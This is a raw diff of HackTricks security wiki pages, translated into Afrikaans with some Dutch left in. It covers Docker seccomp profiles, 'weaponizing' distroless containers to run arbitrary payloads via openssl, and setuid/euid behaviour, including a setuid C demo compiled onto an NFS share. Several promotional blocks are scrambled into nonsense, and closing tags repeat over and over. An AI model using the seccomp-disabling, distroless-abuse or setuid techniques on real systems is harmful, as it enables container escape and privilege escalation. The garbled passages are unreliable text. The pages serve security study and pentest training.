As jy wil seker maak dat **'n sekere binêre nie binne 'n docker container werk nie**, kan jy strace gebruik om die syscalls wat die binêre gebruik, op te lys en hulle dan te verbied.\
|
||||
In die volgende voorbeeld word die **syscalls** van `uname` ontdek:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
{% hint style="info" %}
|
||||
As jy **Docker net gebruik om 'n toepassing te begin**, kan jy dit **profiler** met **`strace`** en slegs die syscalls toelaat wat dit nodig het.
|
||||
As jy **Docker net gebruik om 'n toepassing te begin**, kan jy dit **profiel** met **`strace`** en **net die syscalls toelaat** wat dit benodig
|
||||
{% endhint %}
|
||||
|
||||
### Voorbeeld Seccomp-beleid
|
||||
|
||||
[Voorbeeld van hier](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
[Voorbeeld hier vandaan](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
Om die Seccomp-funksie te illustreer, skep ons 'n Seccomp-profiel wat die "chmod" stelseloproep deaktiveer soos hieronder.
|
||||
Om die Seccomp-funksie te illustreer, kom ons skep 'n Seccomp-profiel wat die “chmod” stelselsoproep soos hieronder deaktiveer.
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
|
@ -150,34 +159,45 @@ Om die Seccomp-funksie te illustreer, skep ons 'n Seccomp-profiel wat die "chmod
|
|||
]
|
||||
}
|
||||
```
|
||||
In die bogenoemde profiel het ons die verstekaksie op "toelaat" gestel en 'n swartlys geskep om "chmod" te deaktiveer. Om meer veilig te wees, kan ons die verstekaksie op "afwerp" stel en 'n witlys skep om selektief stelseloproepe toe te laat.\
|
||||
Die volgende uitset toon die "chmod" oproep wat 'n fout teruggee omdat dit gedeaktiveer is in die seccomp-profiel.
|
||||
In die bogenoemde profiel het ons die standaard aksie op "toelaat" gestel en 'n swartlys geskep om "chmod" te deaktiveer. Om meer veilig te wees, kan ons die standaard aksie op "drop" stel en 'n witlys skep om stelsels oproepe selektief te aktiveer.\
|
||||
Die volgende uitvoer toon die "chmod" oproep wat 'n fout teruggee omdat dit in die seccomp profiel gedeaktiveer is.
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
```
|
||||
Die volgende uitset toon die "docker inspect" wat die profiel vertoon:
|
||||
Volgende uitvoer toon die “docker inspect” wat die profiel vertoon:
|
||||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
],
|
||||
```
|
||||
### Deaktiveer dit in Docker
|
||||
|
||||
Begin 'n houer met die vlag: **`--security-opt seccomp=unconfined`**
|
||||
|
||||
Vanaf Kubernetes 1.19, is **seccomp standaard geaktiveer vir alle Pods**. Die verstek seccomp profiel wat op die Pods toegepas word, is die "**RuntimeDefault**" profiel, wat **voorsien word deur die houer runtime** (bv. Docker, containerd). Die "RuntimeDefault" profiel laat die meeste stelseloproepe toe terwyl dit 'n paar blokkeer wat as gevaarlik beskou word of nie algemeen deur houers benodig word nie.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,64 @@
|
|||
# Bewapening van Distroless
|
||||
# Weaponizing Distroless
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Leer & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
*Kontroleer die [**subskripsie**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Deel hacks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Wat is Distroless
|
||||
|
||||
Een distroless-container is een type container dat **alleen de noodzakelijke afhankelijkheden bevat om een specifieke toepassing uit te voeren**, zonder extra software of tools die niet nodig zijn. Deze containers zijn ontworpen om zo **lichtgewicht** en **veilig** mogelijk te zijn en ze streven ernaar om **het aanvalsoppervlak te minimaliseren** door onnodige componenten te verwijderen.
|
||||
'n Distroless-container is 'n tipe container wat **slegs die nodige afhanklikhede bevat om 'n spesifieke toepassing te laat loop**, sonder enige bykomende sagteware of gereedskap wat nie benodig word nie. Hierdie containers is ontwerp om so **liggewig** en **veilig** as moontlik te wees, en hulle poog om die **aanvaloppervlak te minimaliseer** deur enige onnodige komponente te verwyder.
|
||||
|
||||
Distroless-containers worden vaak gebruikt in **productieomgevingen waar beveiliging en betrouwbaarheid van groot belang zijn**.
|
||||
Distroless-containers word dikwels in **produksie-omgewings gebruik waar veiligheid en betroubaarheid van die grootste belang is**.
|
||||
|
||||
Enkele **voorbeelden** van **distroless-containers** zijn:
|
||||
Sommige **voorbeelde** van **distroless-containers** is:
|
||||
|
||||
* Aangeboden door **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* Aangeboden door **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
* Verskaf deur **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* Verskaf deur **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## Bewapening van Distroless
|
||||
## Weaponizing Distroless
|
||||
|
||||
Het doel van het bewapenen van een distroless-container is om in staat te zijn **willekeurige binaries en payloads uit te voeren, zelfs met de beperkingen** die worden opgelegd door **distroless** (gebrek aan gangbare binaries in het systeem) en ook beveiligingsmaatregelen die vaak worden aangetroffen in containers, zoals **alleen-lezen** of **niet-uitvoeren** in `/dev/shm`.
|
||||
Die doel van die wapen van 'n distroless-container is om in staat te wees om **arbitraire binêre en payloads uit te voer selfs met die beperkings** wat deur **distroless** impliseer (gebrek aan algemene binêre in die stelsel) en ook beskermings wat algemeen in containers voorkom soos **lees-slegs** of **geen-uitvoering** in `/dev/shm`.
|
||||
|
||||
### Via het geheugen
|
||||
### Deur geheue
|
||||
|
||||
Komt op een gegeven moment in 2023...
|
||||
Kom op 'n sekere punt in 2023...
|
||||
|
||||
### Via bestaande binaries
|
||||
### Via Bestaande binêre
|
||||
|
||||
#### openssl
|
||||
|
||||
****[**In deze post**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wordt uitgelegd dat de binary **`openssl`** vaak wordt aangetroffen in deze containers, mogelijk omdat deze **nodig** is voor de software die binnen de container wordt uitgevoerd.
|
||||
****[**In hierdie pos,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) word verduidelik dat die binêre **`openssl`** gereeld in hierdie containers gevind word, moontlik omdat dit **benodig** word deur die sagteware wat binne die container gaan loop.
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Leer & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
Door misbruik te maken van de **`openssl`** binary is het mogelijk om **willekeurige dingen uit te voeren**.
|
||||
<dtil>
|
||||
|
||||
<details>
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
*Kontroleer die [**subskripsie**](https://github.com/sponsors/carlospolop)!
|
||||
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,74 +1,77 @@
|
|||
# euid, ruid, suid
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Gebruikersidentifikasie Veranderlikes
|
||||
### Gebruiker Identifikasie Veranderlikes
|
||||
|
||||
- **`ruid`**: Die **werklike gebruikers-ID** dui die gebruiker aan wat die proses geïnisieer het.
|
||||
- **`euid`**: Bekend as die **effektiewe gebruikers-ID**, verteenwoordig dit die gebruikersidentiteit wat deur die stelsel gebruik word om prosesbevoegdhede te bepaal. Gewoonlik weerspieël `euid` `ruid`, behalwe in gevalle soos 'n SetUID-binêre uitvoering, waar `euid` die identiteit van die lêereienaar aanneem en dus spesifieke bedryfsbevoegdhede verleen.
|
||||
- **`suid`**: Hierdie **gebergde gebruikers-ID** is van kardinale belang wanneer 'n hoë-bevoegdheidsproses (gewoonlik as root uitgevoer) tydelik sy bevoegdhede moet opgee om sekere take uit te voer, slegs om later sy oorspronklike verhoogde status te herwin.
|
||||
- **`ruid`**: Die **werklike gebruiker ID** dui die gebruiker aan wat die proses begin het.
|
||||
- **`euid`**: Bekend as die **effektiewe gebruiker ID**, dit verteenwoordig die gebruiker identiteit wat deur die stelsel gebruik word om proses bevoegdhede te bepaal. Gewoonlik spieël `euid` `ruid`, behalwe in gevalle soos 'n SetUID binêre uitvoering, waar `euid` die identiteit van die lêer eienaar aanneem, wat spesifieke operasionele toestemmings toeken.
|
||||
- **`suid`**: Hierdie **besparende gebruiker ID** is belangrik wanneer 'n hoë-bevoegdheid proses (gewoonlik wat as root loop) tydelik sy bevoegdhede moet prysgee om sekere take uit te voer, net om later sy aanvanklike verhoogde status te herwin.
|
||||
|
||||
#### Belangrike Nota
|
||||
'n Proses wat nie as root werk nie, kan slegs sy `euid` wysig om ooreen te stem met die huidige `ruid`, `euid` of `suid`.
|
||||
'n Proses wat nie onder root werk nie, kan slegs sy `euid` aanpas om te ooreenstem met die huidige `ruid`, `euid`, of `suid`.
|
||||
|
||||
### Begrip van set*uid Funksies
|
||||
### Verstaan set*uid Funksies
|
||||
|
||||
- **`setuid`**: In teenstelling met aanvanklike aannames, wysig `setuid` hoofsaaklik `euid` eerder as `ruid`. Spesifiek vir bevoorregte prosesse stem dit `ruid`, `euid` en `suid` af op die gespesifiseerde gebruiker, dikwels root, en versterk sodoende hierdie ID's as gevolg van die oorskrywing van `suid`. Gedetailleerde insigte is beskikbaar in die [setuid man-bladsy](https://man7.org/linux/man-pages/man2/setuid.2.html).
|
||||
- **`setreuid`** en **`setresuid`**: Hierdie funksies maak die fynafstelling van `ruid`, `euid` en `suid` moontlik. Hul vermoëns is egter afhanklik van die bevoorregtingsvlak van die proses. Vir nie-root prosesse is wysigings beperk tot die huidige waardes van `ruid`, `euid` en `suid`. Daarenteen kan rootprosesse of dié met die `CAP_SETUID`-vermoë arbitêre waardes aan hierdie ID's toewys. Meer inligting is beskikbaar in die [setresuid man-bladsy](https://man7.org/linux/man-pages/man2/setresuid.2.html) en die [setreuid man-bladsy](https://man7.org/linux/man-pages/man2/setreuid.2.html).
|
||||
- **`setuid`**: Teen die aanvanklike aannames, `setuid` pas hoofsaaklik `euid` aan eerder as `ruid`. Spesifiek, vir bevoegde prosesse, dit stel `ruid`, `euid`, en `suid` in lyn met die gespesifiseerde gebruiker, dikwels root, wat hierdie ID's effektief versterk as gevolg van die oorheersende `suid`. Gedetailleerde insigte kan gevind word in die [setuid man bladsy](https://man7.org/linux/man-pages/man2/setuid.2.html).
|
||||
- **`setreuid`** en **`setresuid`**: Hierdie funksies stel in staat tot die nuanses van aanpassing van `ruid`, `euid`, en `suid`. Hulle vermoëns is egter afhanklik van die proses se bevoegdheidsvlak. Vir nie-root prosesse is aanpassings beperk tot die huidige waardes van `ruid`, `euid`, en `suid`. In teenstelling, root prosesse of dié met `CAP_SETUID` vermoë kan arbitrêre waardes aan hierdie ID's toeken. Meer inligting kan verkry word van die [setresuid man bladsy](https://man7.org/linux/man-pages/man2/setresuid.2.html) en die [setreuid man bladsy](https://man7.org/linux/man-pages/man2/setreuid.2.html).
|
||||
|
||||
Hierdie funksionaliteite is nie ontwerp as 'n sekuriteitsmeganisme nie, maar om die bedoelde bedryfsvloei te fasiliteer, soos wanneer 'n program 'n ander gebruiker se identiteit aanneem deur sy effektiewe gebruikers-ID te verander.
|
||||
Hierdie funksies is nie ontwerp as 'n sekuriteitsmeganisme nie, maar om die beoogde operasionele vloei te fasiliteer, soos wanneer 'n program 'n ander gebruiker se identiteit aanneem deur sy effektiewe gebruiker ID te verander.
|
||||
|
||||
Dit is veral belangrik om te onderskei tussen hierdie funksies om gebruikers-ID-gedrag in verskillende scenario's te verstaan en te manipuleer, alhoewel `setuid` dikwels gebruik word vir bevoorregte verhoging na root (aangesien dit alle ID's op root afstem).
|
||||
Opmerklik, terwyl `setuid` 'n algemene keuse mag wees vir bevoegdheid verhoging na root (aangesien dit al die ID's na root stel), is dit belangrik om te onderskei tussen hierdie funksies om gebruiker ID gedrag in verskillende scenario's te verstaan en te manipuleer.
|
||||
|
||||
### Programuitvoeringsmeganismes in Linux
|
||||
### Program Uitvoeringsmeganismes in Linux
|
||||
|
||||
#### **`execve`-Stelseloproep**
|
||||
- **Funksionaliteit**: `execve` inisieer 'n program wat bepaal word deur die eerste argument. Dit neem twee reeksargumente, `argv` vir argumente en `envp` vir die omgewing.
|
||||
- **Gedrag**: Dit behou die geheue van die oproeper, maar verfris die stapel, heap en data-segmente. Die kode van die program word vervang deur die nuwe program.
|
||||
- **Behoud van Gebruikers-ID**:
|
||||
- `ruid`, `euid` en aanvullende groep-ID's bly onveranderd.
|
||||
- `euid` kan subtiel verander as die nuwe program die SetUID-bit ingestel het.
|
||||
- `suid` word na uitvoering van `euid` opgedateer.
|
||||
- **Dokumentasie**: Gedetailleerde inligting is beskikbaar op die [`execve` man-bladsy](https://man7.org/linux/man-pages/man2/execve.2.html).
|
||||
#### **`execve` Stelselsoproep**
|
||||
- **Funksionaliteit**: `execve` begin 'n program, bepaal deur die eerste argument. Dit neem twee array argumente, `argv` vir argumente en `envp` vir die omgewing.
|
||||
- **Gedrag**: Dit behou die geheue ruimte van die oproeper maar verfris die stapel, hoop, en data segmente. Die program se kode word vervang deur die nuwe program.
|
||||
- **Gebruiker ID Bewaring**:
|
||||
- `ruid`, `euid`, en aanvullende groep ID's bly onveranderd.
|
||||
- `euid` mag nuanses ondergaan as die nuwe program die SetUID bit ingestel het.
|
||||
- `suid` word opgedateer van `euid` na uitvoering.
|
||||
- **Dokumentasie**: Gedetailleerde inligting kan gevind word op die [`execve` man bladsy](https://man7.org/linux/man-pages/man2/execve.2.html).
|
||||
|
||||
#### **`system`-Funksie**
|
||||
- **Funksionaliteit**: In teenstelling met `execve` skep `system` 'n kinderproses deur `fork` te gebruik en voer 'n opdrag binne daardie kinderproses uit met behulp van `execl`.
|
||||
- **Opdraguitvoering**: Voer die opdrag uit via `sh` met `execl("/bin/sh", "sh", "-c", opdrag, (char *) NULL);`.
|
||||
- **Gedrag**: Aangesien `execl` 'n vorm van `execve` is, werk dit op 'n soortgelyke manier, maar in die konteks van 'n nuwe kinderproses.
|
||||
- **Dokumentasie**: Verdere insigte kan verkry word uit die [`system` man-bladsy](https://man7.org/linux/man-pages/man3/system.3.html).
|
||||
#### **`system` Funksie**
|
||||
- **Funksionaliteit**: Anders as `execve`, skep `system` 'n kind proses met behulp van `fork` en voer 'n opdrag binne daardie kind proses uit met `execl`.
|
||||
- **Opdrag Uitvoering**: Voer die opdrag uit via `sh` met `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`.
|
||||
- **Gedrag**: Aangesien `execl` 'n vorm van `execve` is, werk dit soortgelyk maar in die konteks van 'n nuwe kind proses.
|
||||
- **Dokumentasie**: Verdere insigte kan verkry word van die [`system` man bladsy](https://man7.org/linux/man-pages/man3/system.3.html).
|
||||
|
||||
#### **Gedrag van `bash` en `sh` met SUID**
|
||||
- **`bash`**:
|
||||
- Het 'n `-p`-opsie wat beïnvloed hoe `euid` en `ruid` hanteer word.
|
||||
- Sonder `-p` stel `bash` `euid` in op `ruid` as hulle aanvanklik verskil.
|
||||
- Met `-p` word die aanvanklike `euid` behou.
|
||||
- Meer besonderhede is beskikbaar op die [`bash` man-bladsy](https://linux.die.net/man/1/bash).
|
||||
- Het 'n `-p` opsie wat beïnvloed hoe `euid` en `ruid` hanteer word.
|
||||
- Sonder `-p`, stel `bash` `euid` in op `ruid` as hulle aanvanklik verskil.
|
||||
- Met `-p`, word die aanvanklike `euid` behou.
|
||||
- Meer besonderhede kan gevind word op die [`bash` man bladsy](https://linux.die.net/man/1/bash).
|
||||
- **`sh`**:
|
||||
- Besit nie 'n meganisme soortgelyk aan `-p` in `bash` nie.
|
||||
- Die gedrag met betrekking tot gebruikers-ID's word nie uitdruklik genoem nie, behalwe onder die `-i`-opsie, wat beklemtoon dat `euid` en `ruid` gelyk bly.
|
||||
- Addisionele inligting is beskikbaar op die [`sh` man-bladsy](https://man7.org/linux/man-pages/man1/sh.1p.html).
|
||||
- Die gedrag rakende gebruiker ID's word nie eksplisiet genoem nie, behalwe onder die `-i` opsie, wat die bewaring van `euid` en `ruid` gelykheid beklemtoon.
|
||||
- Bykomende inligting is beskikbaar op die [`sh` man bladsy](https://man7.org/linux/man-pages/man1/sh.1p.html).
|
||||
|
||||
Hierdie meganismes, wat verskil in hul werking, bied 'n veelsydige reeks opsies vir die uitvoering en oorgang tussen programme, met spesifieke subtiliteite in hoe gebruikers-ID's bestuur en behou word.
|
||||
Hierdie meganismes, wat in hul werking uniek is, bied 'n veelsydige reeks opsies vir die uitvoering en oorgang tussen programme, met spesifieke nuanses in hoe gebruiker ID's bestuur en bewaar word.
|
||||
|
||||
### Toetsing van Gebruikers-ID-Gedrag in Uitvoerings
|
||||
### Toetsing van Gebruiker ID Gedrag in Uitvoerings
|
||||
|
||||
Voorbeelde geneem vanaf https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, kyk dit vir verdere inligting
|
||||
Voorbeelde geneem van https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, kyk dit vir verdere inligting
|
||||
|
||||
#### Geval 1: Gebruik van `setuid` met `system`
|
||||
#### Geval 1: Gebruik `setuid` met `system`
|
||||
|
||||
**Doel**: Begrip van die effek van `setuid` in kombinasie met `system` en `bash` as `sh`.
|
||||
**Doel**: Verstaan die effek van `setuid` in kombinasie met `system` en `bash` as `sh`.
|
||||
|
||||
**C-kode**:
|
||||
**C Kode**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -80,27 +83,7 @@ system("id");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Samelewing en Toestemmings:**
|
||||
|
||||
Wanneer jy 'n program op Linux samestel, word 'n uitvoerbare lêer geskep wat die program se kode bevat. Hierdie uitvoerbare lêer het spesifieke toestemmings wat bepaal wie die program kan uitvoer, wysig of lees.
|
||||
|
||||
Die toestemmings van 'n lêer kan gesien word deur die `ls -l` opdrag uit te voer. Die uitset sal iets soos die volgende wees:
|
||||
|
||||
```
|
||||
-rwxr-xr-x 1 user group 12345 Jan 1 00:00 program
|
||||
```
|
||||
|
||||
Die eerste karakter in die uitset (`-` in hierdie geval) dui aan dat dit 'n lêer is. As dit 'n `d` was, sou dit 'n gids wees. Die volgende drie karakters (`rwx`) dui die toestemmings van die eienaar van die lêer aan, die volgende drie karakters (`r-x`) dui die toestemmings van die groep aan, en die laaste drie karakters (`r-x`) dui die toestemmings van ander gebruikers aan.
|
||||
|
||||
Elke karakter in die toestemmingsreeks verteenwoordig 'n spesifieke toestemming:
|
||||
|
||||
- `r` dui aan dat die lêer gelees kan word.
|
||||
- `w` dui aan dat die lêer gewysig kan word.
|
||||
- `x` dui aan dat die lêer uitgevoer kan word.
|
||||
|
||||
Om die toestemmings van 'n lêer te verander, kan die `chmod` opdrag gebruik word. Byvoorbeeld, `chmod +x program` sal die uitvoerbare toestemming aan die lêer toevoeg.
|
||||
|
||||
Dit is belangrik om die toestemmings van jou lêers korrek te konfigureer om die veiligheid van jou Linux-stelsel te verseker.
|
||||
**Kompilering en Toestemmings:**
|
||||
```bash
|
||||
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
|
||||
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
|
||||
|
@ -110,16 +93,16 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
|
|||
bash-4.2$ $ ./a
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Ontleding:**
|
||||
**Analise:**
|
||||
|
||||
* `ruid` en `euid` begin as 99 (niemand) en 1000 (frank) onderskeidelik.
|
||||
* `setuid` pas beide aan na 1000.
|
||||
* `system` voer `/bin/bash -c id` uit as gevolg van die simboliese skakel van sh na bash.
|
||||
